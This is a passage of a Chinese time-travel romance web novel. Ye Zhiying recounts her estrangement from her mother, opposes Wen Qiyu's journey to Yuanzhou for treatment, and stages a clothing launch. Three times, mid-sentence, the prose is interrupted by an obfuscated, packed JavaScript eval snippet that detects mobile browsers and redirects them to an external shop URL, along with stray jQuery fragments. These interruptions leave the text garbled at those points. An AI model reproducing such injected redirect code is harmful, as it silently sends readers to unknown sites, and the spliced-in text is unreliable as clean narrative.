叶之萤拍了拍他的胳膊,让他不用为她难过:“他们生我的时候自己都还很小,没玩够,觉得我是个负担。不过我也早就不在意他们了,没有他们,我自己一个人也过得很好。” 温其玉的手主动攀上了叶之萤的胳膊,似乎是想要给她一些安慰,叶之萤反手握住了他的手:“谁知我妈妈后来后悔了,她多次给我道歉,跟我示好,总是做很多吃的东西托人带给我,想要重新修复我们之间的关系。可对我来说,妈妈这个词早就被我从心里剜掉,我已经不需要妈妈了,所以我不接受她的示好,也不要她的东西。前几年,陈如的事情对我影响很大,好多不明真相的人在网上骂我,还有人在我出席活动的时候用东西砸我,大骂我是杀人犯……” 说到这里,叶之萤停了下来,她需要重新缓和一下心情,才能再继续说下去。 温其玉眼中的讶异此时早已被心疼所取代,他本以为她从小便养尊处优,这些日子,随着那些往事被揭开,他才慢慢了解了叶之萤过去的生活。 “结果我妈妈居然自学上网,在网上发帖想为我正名,她还喊话那些人,‘要骂就骂我,别骂我女儿’,你说她是不是很天真?她完全低估了网络的可怕,那些人当然不放过她,骂得她狗血淋头。她哪里见过这样的阵仗,被气得住院了。”叶之萤说着,就笑了起来,可眼中的痛苦却更深了,“听到她住院的消息,我破天荒给她打了电话,接到我的电话,她很惊喜,安慰我别担心她。呵,她真的很天真,我怎么会关心她呢?我给她打电话,是特意恭喜她的!她不是喜欢被骂吗?那我就恭喜她得偿所愿,这就是多管闲事的代价!” 她很是得意自己的行为,笑着笑着,眼泪就不争气地滚落下来:“后来,她注销了账号,再不敢多说话,也不敢跟我联系了,只是时不时卤一些我小时候爱吃的肉寄给我。可是那些肉全被我扔进了垃圾桶,因为她不会知道,小时候我之所以爱吃那些东西,只是因为喜欢妈妈的味道,而当我心里不再有妈妈,才发现它们根本一点也不好吃。况且时隔那么多年,我一个人走南闯北,吃遍了山珍海味,口味也早就变了。”她的声音愈发哽咽,几乎要说不下去了,深吸了几口气,将心中已经波涛汹涌的情绪强行压了下去,才继续开口。 “直到两年前的一天晚上,她手提三个大袋子,主动去到我家门口。我在家,却没有给她开门,她发了一条消息给我,‘妈妈好久没见你了,能不能开开门,让妈妈看看你?’”说到这里,她又一次停了下来,用牙齿咬紧嘴唇,低下头无声地抽泣。 温其玉伸出手,轻抚着她的发丝安慰她,然而他的心里此时亦是风起云涌。 再抬起头时,叶之萤的情绪已然平复,她语气很淡,却夹杂着重重的鼻音:“我最终也没有给她开门。等她离开后,我站在窗边,看着楼下那个渐行渐远的落寞身影,想起了小时候的许多事,那时候,我也像其他黏着妈妈的孩子那样整天黏着她,我也曾抱着她的腿求她别不要我,可她呢?总是嫌我烦,总是在我想要靠近她的时候不耐烦地推开我。等她再想拉我回去的时候,我已经被她推得太远,就像脱离了引力的星球,再也回不去了。现在,我们更是阴阳两隔,此生不复相见了。” 而后,她通红的双眼对上眼前的人,问他:“温其玉,你明白我想说什么吗?” 他将自己的右手挪到她的后背,轻轻一拥,将她揽到了自己怀里。 他懂她想说什么,他全都懂。有许多事,若是当时不主动把握,日后便只剩无尽的悔恨了。爱情是如此,亲情同样是如此。她只是不想他有朝一日后悔今日的决定。 他只是实在心疼怀中的人,为了让他明白这个道理,不惜将那花了许多年才愈合的伤口又血淋淋地撕开给他看。 “所以我现在回答你刚才的问题。”怀中的人挣脱了他的臂弯,直起身子对他说,“为什么非要守着你?因为我不想以后想起你来只有后悔,不想我们明明相爱却因为一时的困难而轻易放弃彼此,不想没有争取就弄丢了你,温其玉,我的字典里从来没有‘放弃’这个词!我就是爱你,就算是废人我也只爱你!其他人就算是神仙下凡我也不稀罕看一眼。况且,你在我眼里从来不是什么废人,你是我的英雄!所以,只要你还单身,只要你还爱我,只要我的记忆里还有你,我就会一直爱你!” 浓密的睫毛在叶之萤眼前一眨一眨的,同那漆黑的双眸一起透着不解和无奈,他似乎还想说什么,但终究没有开口。 “不会是我给你提供灵感了吧?你不会真的为了推开我,要娶别人吧?”叶之萤皱起了眉头,小心翼翼地问他。 面前的人终于被她聊崩溃了,在发出一声重重的叹气之后,抛给她一个大大的白眼。 这几日,温其玉对孩子的事再也没提过,叶之萤心里着急想知道答案,又不敢催他,生怕他没考虑好,被她一催反而得到当头一棒。但她又实在心急,于是趁着阿力陪她去布庄上班的路上,偷偷找阿力套话。 “阿力,你们少爷喜欢小孩子吗?” “喜欢啊!”阿力竟然半点没犹豫,着实给了她当头一棒,“少爷还未从军时,可喜欢大少爷家的孩子了,每次云儿来府中就欢喜得很,抱着他舍不得撒手,还说以后自己也要有个像云儿那样的孩子。” 叶之萤心里又凉了半截。 “那他说过将来想要几个孩子吗?” “那倒没说过。” 凉了的心仿佛又回温了些。 “不过……” “不过什么?” “少爷曾说过,羡慕大少爷的府中人丁兴旺。” “啊?”那颗挣扎着不愿熄灭的心终于彻底凉了。 “你问这干嘛?莫非你和少爷已经开始探讨日后生几个孩子了?”阿力笑得合不拢嘴,凑到她身边八卦,“你们真是进展神速啊!” “神速你个头!”她瞪了他一眼,没好气地快步起来,又和他拉开了距离。 “诶,别害羞啊!”阿力还以为他们真的好事将近,跟在她身后,脸已经笑开了花。 晚上,叶之萤泡完澡,打开窗子透气,却听见隔壁传来一些断断续续的说话声,听着像是阿力和荣祥在为什么事争吵。 他俩怎么在温其玉房里吵起来了?叶之萤把头伸出窗外,靠近隔壁房,竖起耳朵偷听起来。 很快,她就听到了什么“上千公里”、“路程太远”、“天寒地冻”、“身体吃不消”、“未必能起死回生”诸如此类的话,好像不是在争吵,倒像是在合力阻止温其玉去什么地方似的。 他要去哪儿? 叶之萤在门口转来转去,终于等到阿力从房中出来,一把把他拽到了自己房里。 “阿力,你们刚说什么呢?”她关上房门,就迫不及待地问他。 阿力眼里闪过一丝惊慌,摇头道:“没说什么啊。” 嘴倒是很严。 “我都听见了,别骗我了,是不是你家少爷要去什么地方,你们不同意?”她干脆挑明了问他。 阿力咬死不承认:“没有的事,你别乱猜了。”说完,就急急忙忙想要逃离这间屋子。 叶之萤一把按住门,拦住他:“你要是不告诉我,我就直接去问他了。但你悄悄告诉我,如果我也觉得此事不妥,说不定可以暗中替你们出主意,你们拿他没办法,我可有的是办法拿捏他,你想清楚了,要 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16991733|193740||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 不要告诉我?” 阿力思忖片刻,褐色的眼珠子在眼眶里转了几转,似乎是觉得她说得有一定道理,犹豫着把手从门框上松开,将事情一五一十地告诉了她。 原来是温其玉不满意自己的身体恢复情况,拜托林大夫再想想别的办法。林大夫解释说他用了这么久的腥月草之所以没能达到预想的效果,并不是腥月草未能解毒,而是因为之前躺得太久,以至于全身肌力损伤太过,肌肉无力导致的。而肌力始终不能恢复,又是因为全身穴位淤堵,筋脉不通。因此,需用银针刺激身体各个穴位方可促进治疗效果。 但林大夫已使出毕生所学,仍不能完全打通温其玉的筋脉。只能由温其玉自己慢慢锻炼,耐心等待恢复。若是实在等不及,他还有一法,距离黎城东北三千公里外的源州有一位名医,号称“妙手神针”,布施银针的水平整个邺国无人能出其右,擅长施针刺激穴位、疏通经脉,若能前往求医,或可对温其玉的身体恢复速度有助力。 “所以他就要去源州找那位‘妙手神针’?” “是啊!” “可是他这身体能去吗?不如我们把那位大夫请来黎城?” “能请来自然是好的,可那位神医年事已高,身体已支撑不了如此长距离的跋涉了,而他本人亦淡泊名利,从不出源州,所以恐怕是请不来。”阿力摇头叹声道。 “可是那源州太远了,三千公里啊!要是路上出点什么事,得不偿失啊!”叶之萤这话并不是危言耸听,温其玉如今仅仅是坐都还坚持不了一个时辰,如何去得了三千公里外的地方? “可这眼下是少爷唯一的希望了。”阿力道。 “林大夫不是说,照现在这样治疗和锻炼,他也一样可以恢复吗?为什么非得去那源州?” “若只是如今这样按部就班的治疗,怕是要两三年才能恢复到从前的七八成。” 叶之萤还是不赞同:“阿力,这太冒险了,源州那地方冬天泼水成冰,他的身体根本撑不住,且那神医水平到底有多高,也只是道听途说而已,能不能治得好他也未可知,如果千里跋涉过去又治不好,那不是赔了夫人又折兵吗?”而后又疑惑道,“温其玉不像这么冲动的人啊,这些问题他难道没考虑到吗?” “少爷只是想早些康复。” 阿力这话让叶之萤有些心虚,她开始反省,难道是因为这些日子自己逼得太紧,才让温其玉着急了?看来不能再逼他了! 她在屋里来回踱步,又想到了一个主意:“要不我们让林大夫先给那位神医写封信,把温其玉的身体情况详细描述清楚,如果神医回信说治不了,那他也就死心了,要是能治,等明年开春暖和些我们一起陪他去?” 这个主意却又被阿力否决:“麻烦就麻烦在那神医在源州居无定所,无人知道其住址,只能人先到了当地再打听。” “那就派几个人亲自过去送信,这样总可以吧?”她想,凭温其玉的能耐,派几个人去源州也不过小事一桩。但既然小事一桩,他为什么非得拖着病体亲自去冒险呢?难道他没想到派人先去探探路吗?不应该啊! 阿力很快替她解了惑:“少爷已打听清楚,那位神医确能为他打通筋脉,这才执意要前往。” “听你这意思,他是非去不可了?” “是。” “既然如此,那我陪他一起去。” “什么?” “我说,我陪他去!” 叶之萤打死也不会想到,面对她的质问支支吾吾不愿开口的阿力一回房,竟将二人的对话一五一十、一字不差全都禀告给了温其玉听。 “她是何反应?”床上躺着的人问。 “她担心您身体吃不消,不同意您去,后来,得知您去意已决,就……” “如何?” “要陪您一起去。” 果然! 这一番试探,无疑印证了温其玉此前的猜想,叶之萤是绝对不会轻易放他走的。 可是这次,他必须要走了。若非如此,他也不会突然食言,想要再次把叶之萤从自己身边推开。 因此,如何说服叶之萤,成了他眼下最头疼之事。 111. 游说 叶之萤已经慢慢适应了这里的生活,唯独作息实在改不了,即使没网没手机没娱乐,还是习惯当只夜猫子,第二日再睡到日上三竿。 温其玉也习惯了她这样的作息,怕她一个人无聊,便也陪着她晚睡,睡觉时间从以前的戌时推迟到了亥时。两人本不在一个房间,其实他睡不睡对叶之萤来说都是一样的,但他却执意如此。 因此,推着温其玉月下散步就变成了叶之萤夜里最喜欢的事,不过这样的好事不是每天都有的,通常要视他当日的身体状况以及天气情况而定。不出门的时候,她会在房里跳操、运动,或者去隔壁找温其玉说说话,等他睡下后,再回房写写日记,读读书,看看木窗外朦胧的夜景,享受一下漫漫长夜带给人的宁静和自由。 除了要去布庄那几天,早饭她通常是赶不上的。但今天是个例外。 一大早睡得正香,她就被下身一股暖流惊醒,只能被迫起床换衣服、换床单,等收拾好后,想再躺回床上睡个回笼觉,人早就清醒了。于是早早就去温其玉房里找他。 一进门,就看到地上零零星星散落着七八颗打着孔的、直径和一元硬币差不多的木珠子,其中一颗上面还穿着一条挂面粗细的线,还有一只木碗倒扣在阿力脚边。那张本该放在床上的木桌也翻倒在床边,四脚朝天,格外刺眼。 她的目光顺着那只碗向上看,只见阿力低着头,战战兢兢地站在床边。看到她来了,也不敢开口和她打招呼,只是看了她一眼,便又把头低下去了。 床上的人愠色正浓,胸口剧烈地起伏着。看到她进来,他似乎是想要收起那令人胆寒的怒意,却失败了,他只好将头扭到另一侧,不让她看到自己的脸。 叶之萤从来没见温其玉发过这么大的脾气,虽然他自带不怒自威的气场,但在她眼里,他一直都是冷静而平和的,他可以游刃有余地处理任何事,叶之萤甚至觉得他身体里根本就没有预装失去理智这个硬件。 她默默捡起了地上的东西,把它们放在餐桌上。 “扔掉吧。”他说。 叶之萤便顺着他的话把这些东西连着碗一起扔进了白釉渣斗,珠子在渣里滚动弹跳,发出一阵“乒乒乓乓”的撞击声。 阿力一看她真扔,忙上前制止:“叶小姐……” 她跟阿力使了个眼色,示意他别说话,先出去。他还算机灵,配合她把想说的话咽了回去,就离开了。 这个时候最好不要和温其玉对着干。 她心想,幸亏是阿力,而不是荣祥那头笨猪…… 她又到床边,把木桌抬起来重新放到他床尾,安静地坐在他身边。 他又一次深呼吸,努力让自己的情绪平静,然后终于转过脸来看她:“今日怎么这么早?” 他已经尽量装作恢复如常的样子了,嘴角甚至还挂着笑容,但那笑容如此生硬,和眉间深深的褶皱极不相配,怎么看怎么别扭。 叶之萤宁愿他大闹一场,也不想他如此费力在她面前伪装平静。 “肚子疼醒了!”她揉着肚子回答他。 其实她的肚子并不疼,只是故意撒娇转移他的注意力罢了。 温其玉果然上了钩,紧张地问她:“怎么回事?” “来内个了……”这倒是实话。 “有没有吩咐厨房为你熬些暖身体的汤水?” “还没,我一起床就先过来找你了。”她拉起他的手嗔怪道,“本想着看看你英俊的脸庞缓解难受,谁知道看完不仅没缓解,反而更难受了,你说怎么办?” 说完,又故意把他的手扔回到床上。 他分明一眼就看穿了她的把戏,却还是向她道歉:“对不起,是我……” 没等他说完,叶之萤就捂住了他的嘴:“别道歉!你又没有做错什么。每天这样训练,心烦是再正常不过的事情了,要是换了我,可能每天都得发好几次脾气。你坚持了这么久,已经比我强太多了。发脾气不是坏事,更不是错事,你不必为此难堪和抱歉。”而后她往他面前挪了挪,对着他的耳朵小声说,“你发脾气的样子特别帅!” 说完,便星星眼地看着他。 温其玉被夸得莫名其妙,无奈摇头道:“又胡言乱语!” “我没有!”叶之萤忙否认,“你别总把什么事都憋在心里,会憋出问题的。今天这样就很好啊,学会了释放,值得表扬!看你今天表现这么好,待会儿奖励你一个神秘礼物!” 他又笑了起来,这次看着就比刚才自然多了,至少眉头没有再拧在一起。 “什么奖励?”他看起来很是惊喜。 “等会儿再揭晓答案!”她故意卖起了关子。 经过叶之萤的开导,他的情绪总算有了好转,看着他脸上的表情渐渐趋于平静,叶之萤也终于在心里长吁一口气。 他静静地看着她,似乎还有心事。她也没有再说话,始终耐心地等着他亲口说出那件事。 “等来年开春,我可能要离开黎城一阵子。” 叶之萤对此并不意外,不过有一点还是出乎了她的意料:他说的是来年春天,比阿力那日说的即刻出发在时间上更宽裕了些,看来经过几日的思考,他也冷静了许多。 “为什么要离开?去哪儿?要离开多久?”她问。 “有些事必须要我亲自出面,在……源州,大约要半年,又或许……一年。”他一边说,一边观察她的反应。 “这么久?”她试着当面挽留他,“能不能不去?” 意料之内,他没有松口,只是对她解释:“源州本就路途遥远,我的身体在路上又要耽搁不少时间,所以自然会久一点。” “那你走了,我怎么办?”叶之萤的眼泪说来就来。 “阿力会留下来陪你,还有柳儿。或者,去茶园找杨夫人,她一定会很乐意与你作伴的。”他明知她是故意落泪挽留自己,那颗心却还是被她的眼泪融化了。 “可是我想只要你陪着!没有你,我活不下去!”她夸张地对他撒娇。 “瞎说!”他笑了起来,“你是我见过最独立的女子,日后没有我陪,你也能活得很好。” “什么叫日后没有你陪?你要去哪儿?你不回来了吗?”叶之萤心中的弦随着温其玉的话顿时一紧,莫非那源州对他而言当真是要命的地方?若真是如此,那就更加不能让他去了! “我不想离开你!不去了行不行?我不让你去!”豆大的眼泪夺眶而出,这次不是假的,她是真的害怕了。 温其玉见她又哭了,有些手忙脚乱,边帮她擦眼泪,边安慰她:“别担心,倘若一切顺利的话,或许我会提前回来。” 他始终都未松口,看来,是铁了心要去了。 “那也不行!没有你在,我不敢一个人住在这院子里,我舍不得你,也不放心荣祥一个人照顾你,假如你非去不可,那就带我一起去吧!”既然劝说无效,干脆一起走! “不可!源州乃苦寒之地,又路途遥远,你一同去太过危险。” “你都能去,我怎么不能去?” “我是我,你是你,你没吃过这样的苦,自然受不住。” “你怎么知道我受不住?” “不要任性!” “我没有任性,我就是要跟你一起去,你要是非把我留在黎城,我就一个人骑马去源州找你!” “简直胡闹!你可知源州在哪里?要走哪条官道?沿途的驿馆又设在何处?什么都不知道你如何去?”温其玉没想到叶之萤会如此疯狂,一激动,身体晃动的幅度也跟着大起来,差点摔倒,他赶紧用手撑着床稳住了身体。 叶之萤本想去扶他,看他自己坐稳了,便收回手继续放狠话:“我不管!找不到就问路人,鼻子底下长着嘴,我不信打听不到。反正你要是不带我去,我一定会去找你的!” 温其玉眼看说服不了她,只好叹了口气道:“既是如此,此事便暂且搁下,稍后再议吧。” 而这在叶之萤看来,无疑是取得了阶段性胜利,她也不再固执:“好,那你再考虑考虑吧。那个……我突然想到点事, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16991734|193740||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 得回房一下,待会儿再过来。” 望着她的背影,温其玉又头疼起来,她果然很难被说服!这可如何是好? 半个时辰后,叶之萤手里端着一只青釉花瓣口碗回来了。 “这是什么?”温其玉的目光被那只碗吸引,停下了手中正在进行的抓握训练。 “今天的奖励。闭上眼睛!”叶之萤笑着将碗端高,一副神秘兮兮的样子。 温其玉听话地闭起双眼。 叶之萤走到他身边坐下,提醒他:“现在可以张开嘴了。” 待他张嘴后,把碗里的东西用勺子喂进了他口中。 他仔细品尝着口中食物的味道,脸上逐渐展开笑容。 “好吃吗?”她问。 “好吃。”他闭着眼回味那滋味,有牛乳的醇厚,玫瑰的清新,又有蜂蜜的清甜和茶叶的鲜香,这本不是他喜欢的味道,如今却也在叶之萤的影响下爱上了,“这是什么?” “这就是我之前跟你说的奶茶呀!我今天做的是蜂蜜玫瑰味的,里面还加了些芋泥,就是芋头,来,尝尝。”叶之萤舀了一勺芋泥,正想喂他,才发现没有自己的指令,温其玉还闭着眼睛,于是赶紧让他把眼睛睁开,又把芋泥送入他口中,“怎么样?” “很好!”他笑着点头,“它有名字吗?” “名字?”她被问住了,“它就叫奶茶,没……嗯……让我想想。” 在这里,所有的甜点都会有个属于它自己的名字,叶之萤以前从没想着要给奶茶取个名字,但被温其玉一提醒,突然觉得这是个很好的主意。现代的奶茶不是每款也有名字吗?什么“霸气芝士龙井青提”、“芝芝抹茶”、“伯牙绝弦”之类的。更何况,这是她第一次做奶茶,她想,自己应该也不会再给第二个人做了。 “有玫瑰,有芋泥,有蜂蜜,并且它是我特意做给你的,是专属于你的味道,所以,它叫——”她对上了他漆黑明亮的双眸,调皮一笑,“‘爱你’。” “咳咳……”又一次在不经意间被她直白地撩到,温其玉只好假装咳嗽来缓解尴尬。 “哎哟,怎么咳嗽了呀?”谁想,叶之萤不仅没因此放过他,反而又舀了一勺奶茶,“正好,这碗‘爱你’里面有蜂蜜,能止咳,多喝点儿吧!” 说着,就把勺子递到了他嘴边。他没办法,只好又喝了一口。 “好点了吗?”她嘴上假装关心他,嘴角却早已抑制不住地飞到了耳根。 “……好多了。”他嘴上这么说着,可叶之萤看他的脸,分明涨得通红。 “怎么?看你的表情好像不喜欢喝?那就别喝了。” 眼看她要收了那碗,对面的人连连摇头:“不……不是……奶茶,很好喝。” 叶之萤却又朝他翻了个白眼,不满道:“让我给奶茶取名,我取了你又不叫,我知道,反正就是承认喜欢我烫嘴呗!” 他微微歪头,神情变得肃穆起来:“叶姑娘是否又忘记了我们之间的约定,需要我再提醒一番?” 叶之萤当然没忘。但她总是假装不记得,还仗着温其玉拿自己没辙暗戳戳挑战他的底线。温其玉也确实没什么办法,这也间接助长了叶之萤的气焰,在他面前更加肆无忌惮。 而他此时的警告着实是向玩性大发的叶之萤浇了一盆冷水。 其实即使她不听温其玉的,温其玉拿她也没办法,但当他严肃起来时,他的话总是有种让人无法反驳的魔力。 “好了好了,不玩了还不行吗!”叶之萤虽不高兴,却还是听了他的话,“那个……过几天的发布会,你去吗?” “我……就不去了。” 就知道…… 虽然没报什么希望,但是他这么干脆地拒绝,叶之萤心里还是很不舒服。 她在这里的第一次走秀,自然是想让他到现场观看的,可是那‘浮云落雪’门口的几十级台阶,却还是将他困在了门外。 但她还是从袖口掏出了那块特意为他准备了许久的檀木牌子,轻轻放到了他枕边…… 112. 发布会 帷幔飞扬、花香四溢、人声鼎沸。才刚到酉时,“浮云落雪”就已经座无虚席了。 杨宗明和榕兰早早就抱着念辰一起来了。整个楼里,到处都摆着他出资赞助的秋菊——个头最大的黄石公、花瓣像章鱼爪的西湖柳月、温柔的粉菊鹅毛粉黛、雍容华贵的金皇后,以及像莲花一样淡雅的绿牡丹。 一眼望去,清俊婀娜,给场地增色许多。 “这么多好花,让你破费了!”叶之萤端着一杯杨家出品的“玉莲香”向他道谢。为了今日的活动,沈老板特意向他订了这平日里难得喝到的好茶。 “哪里的话,我们做哥嫂的,这不是应该的嘛!”榕兰并不知道这其中的因果,只当是杨宗明为了支持妹妹的事业主动付出的。 叶之萤也没拆穿他,笑着附和道:“有这么好的哥嫂,我真是幸福呢!” “哎,夜莺!”榕兰四处看了看,问她,“为何不见温公子啊?” “他啊……他不方便来。”她用了一个“你是知道的”的语气。 谁知,榕兰却不以为然:“那有什么的,他不是有下人能背他吗?要是背不动,宗明也在,让他一块儿去帮忙!宗明,快去叫温公子来啊,今天这样的场面,他若不在,我们夜莺得多失望啊!” “诶诶诶……不用去了。”她一把拉住杨宗明的胳膊,撒了个谎,“他……他今天有事出去了。” “噢……那既然这样,夫人就别勉强了吧!”杨宗明识趣地向榕兰使了个眼色。 可榕兰说得一点也没错,她确实很失望。路过门口时,又忍不住向外张望,目光顺着长长的台阶一路向下延伸到路面,希望能在那些没有拿到入场资格、却仍忍不住好奇自发赶来、并将“浮云落雪”门外堵的水泄不通的人海中看到自己想念的那个身影。但是很遗憾,他并没有出现在那里。 她一级一级将目光收回,并在心里默数:“一,二,三……三十八,三十九。” 原来这楼梯足足有三十九层。 “叶小姐,别发呆了,要开始了!”沈老板的声音叫醒了正在愣神的她。 时间紧迫,确实没有多余的时间再伤春悲秋。一楼的其中一个包间已经暂时改成了化妆间,叶之萤赶紧进去换了衣服,做了发型,又补了妆。 很快,吉时便到,外面先是一阵骚动,而后响起了“噼里啪啦”的鞭炮声。待炮声结束,沈老板在台上向前来的贵宾致辞,隔着一扇门和一条不近的通道,她仍然能听出他声音中的兴奋和紧张。 沈老板今日早早就来了这里,那时宾客都还没来,他一个人站在楼的中央,望着四周的布置发呆。看见她来,他像个孩子一样不知所措:“叶小姐,沈记布庄在黎城开了快二十年,一直安安稳稳,不敢想有一日竟能引得全城轰动。我是个乐得自在的人,从没想过生意还可以这样做,真的要多谢你的点拨!只是,面对如此盛况,我也难免惶恐,如何能维持住眼下的风头,莫要来得快去得也快啊!” 她拍了拍他的肩,笑着道:“人生本就是起起落落,富贵来了,就看做是老天爷额外的恩赐,走了,就继续乐得自在,何必要因将来的虚无缥缈愁苦当下呢?” 说完这话,她自己都吓了一跳。自己的语气竟然在不知不觉间与那个人越来越相似。这种话怎么会是叶之萤说的呢?叶之萤一向都是要把富贵牢牢抓在手里、打死都不放手的那种人啊! 一阵宾客的喝彩声将她的思绪拉回现实。表演环节开始了。表演作为暖场的关键,就像一道法式大餐的前菜,是这类发布会必不可少的“开胃”环节。他们为此准备了舞蹈、抚琴、斗茶等节目,用古典的舞姿、清明的味道、舒缓的音乐来烘托高雅的氛围。 此时还不到叶之萤上场,坐着无趣,便鬼使神差走到了窗边,掀开竹帘的一角,偷偷向外张望。她所在的包厢从木窗看出去左侧正好是那三十九级台阶。 此时,外面闻讯而来的百姓比刚才更多了,连台阶上都站满了人,他们把“浮云落雪”楼围了起来,伸着脖子踮着脚向楼里张望。明明什么也看不见,却仍不愿离去,好像只要站在这里,自己就也是这场盛大活动中的一环,就可以和坐在楼里的贵宾们一同享受盛宴,就可以和没来的人尽情吹嘘和炫耀了。 她的目光略过那些人的上半身,想在那些被挤得晃来晃去的衣摆的缝隙间寻找一架熟悉的轮椅,然后又不禁嘲笑自己的痴傻,这么拥挤的地方,他怎么会来呢……于是缓缓放下帘子。 等来宾们的注意力都已彻底沉浸于表演中时,楼中所有窗户同时放下了竹帘,顷刻间一片漆黑,音乐声也戛然而止。几秒的沉寂之后,场地传来众人的一片骚动。 接着,先是一股淡雅的清香从远处悠悠飘来,木质的香气中夹杂着瓜果的香甜,环绕在宾客之间,瞬间安抚了大家的焦躁。 而后,古琴声起,宛如古井中的水声,醇厚而沉静。 众人在这香气和琴声中渐渐安静,大家都屏住呼吸,期待着下一个惊喜。 黑暗的四周似乎一直有人影在快速移动,却看不清在干什么。越看不清就越想知道,众人的好奇心已经被这气氛勾到了顶峰。 会场逐渐又躁动起来。 突然,古琴声息。片刻,清亮的琵琶乍然而起,还不等宾客反应,众人眼前突然明亮。 四面台已被轻纱帷幔围得密不透风,帷幔上画有牡丹、玫瑰、海棠、桃花,如同一片片画卷。忽然,不知哪儿吹来一阵清风,片片画卷便如流风回雪,轻云飘飖;卷上的花更是迤逦可人,摇曳生姿。 帷幔的两侧点着十几盏灯,莹莹灯火透过纱帐,散发出明亮而又朦胧的光。一个身姿绰约的女子就在那帐中央,她梳着高高的发髻,以团扇掩面,身着纱衣,身长而立,帐中所有的光亮都追随着她,不,那是她身上发出的光,如同天上的仙子,熠熠生辉。 叶之萤就这样身着“菱花裳”,伴着“阳春白雪”,身披“小四合香”,踏着“霞光祥云”而来。 所谓的“菱花裳”,共有三种款式:第一种是长袖短衫加长裤为一套;还有一种是吊带背心加及膝短裤和轻纱长衫为一套;第三种是及膝吊带睡裙再加一件烟罗宽松罩衫。 她在沈氏销售布料时发现,这里的人虽然在外面保守,但人性终究是无法压抑的,于是便有了这个大胆的想法。后来在销售中,她有意向许多顾客提过这样的款式,大部分人竟然都很感兴趣,这也给了她推出“菱花裳”的信心。 帷帐的三面都藏着婢女,她们趴在帷帐下特意设计的凹槽里,手拿团扇,不间断地将帷帐扇起,营造梦幻飘扬的效果。 叶之萤的身姿在帷帐间的缝隙里忽隐忽现,若即若离,宾客们看得见,却又看不清,自然平添无限遐想。人一旦对某件东西产生了欲望,大脑自然就会生出最完美的滤镜,而她所做的,看似是展示衣物,实则是勾起他们的欲望,她所有的表演和今日这楼里的一切都在为他们营造一个美梦,一个“穿上这衣裳就能像她一样完美”的梦。 “真美啊!衣美人更美!” “蝉翼轻绡傅体红,玉肤如醉向春风。” “月宫中的嫦娥仙子也不过如此吧!” …… 众人被迷得神魂颠倒,啧啧称赞,当然,这些称赞的声音中也少不了他们安插的“营销号”。 叶之萤看走秀效果这样好,不禁得意起来,幸亏手执团扇,可以容她不出声的开怀大笑一番。正笑着,目光随意向前一瞥,却发现越过宾客的座位再向前看,直到目光所及的尽头…… 那是一排雅阁,也就是用竹帘分隔开的雅座,一共有五间。所有的雅阁都被竹帘围着,明媚的阳光从另一侧的木窗照进来,又从对面竹帘的缝隙间穿过,于是那些竹帘从上到下看上去全都是一道浅木的竹条、一道亮白色的光线、再一道浅木色、再一道亮白色这样相隔着,而后,那些亮白色条纹又倒映在昏暗无光的地面上,像极细的斑马线一样。 但当中靠右那一间的竹帘却与另外四间不同,亮白色的横条从中间开始像是被什么挡住而中断,投影在地面上也不再像斑马线,被挡住光线的那部分黑影看起来倒像是个坐着的人影,那人影很奇怪,是坐在一个大大的椅子上! 叶之萤的心脏猛然跳漏了一拍,难道是他来了? 她眯着眼睛让目光聚拢,想透过竹篾间的缝隙看到里面的情况,但隔得太远,缝隙又太小,她的目光实在无法抵达。 她真想立刻掀开帷帐跑过去看看是不是他,但眼下正在工作,由不得她任性。 走秀结束后,沈老板将“菱花裳”的面料展示出来,借着大家正在上头的劲儿,宣布当场订货。 “我们沈氏的‘菱花裳’乃限量发行,本期共推出十种花色,每种花色仅十匹,取‘十全十美’之意。面料皆为苏州产的软烟罗,软若无骨,如烟似尘……”又让人拿出展衣架给大家看,“这便是叶小姐方才穿过的样衣,已经挂了起来,大家可以来前面近距离看看。” “我要!” “我也要!” 有人已经迫不及待拿着荷包喊裁缝过来量体了。本想上台去摸摸衣服材质的人一看怎么都喊起来了,走在半道就急忙跟着喊。一部分还在犹豫的宾客也着急了,生怕布料被别人抢光,轮不到自己,也赶紧喊起来,楼里瞬间鼎沸一片。 叶之萤本想趁大家订货的时候先去雅阁那 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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可是,她就是想让温其玉看到自己今天的样子啊…… 之后,沈老板又为众人安排了一场简单而精致的午宴,今日请来的宾客大多都是黎城的商贾及他们的家眷,这场午宴便是特意为他们创造的交流机会。这也是第一次发布会就能请来这么多黎城权贵的原因。 虽然这些商贾们平时私下也都有往来,但能把大家通通聚在一起的机会并不多。五十两会费对这些人来说并不算什么,即使自己花钱宴请其他同行维系关系也不止五十两了,如今既不用自己邀请,又不用欠人情,还能博夫人女儿开心,自己亦能一饱眼福欣赏黎城第一美人的风姿,何乐不为?说到底,天下熙熙,大多数男人都躲不过这财色二字。 待一切结束后,已经是黄昏时分了。沈老板算好了账,眉开眼笑地把叶之萤叫到跟前,又把账本推到她面前:“叶小姐,你看,今日订出一百二十五套‘菱花裳’,共收两千七百八十两,扣除发布会的所有支出和衣裳成本,还有雇人营销的费用,纯利润也超过一千两。” 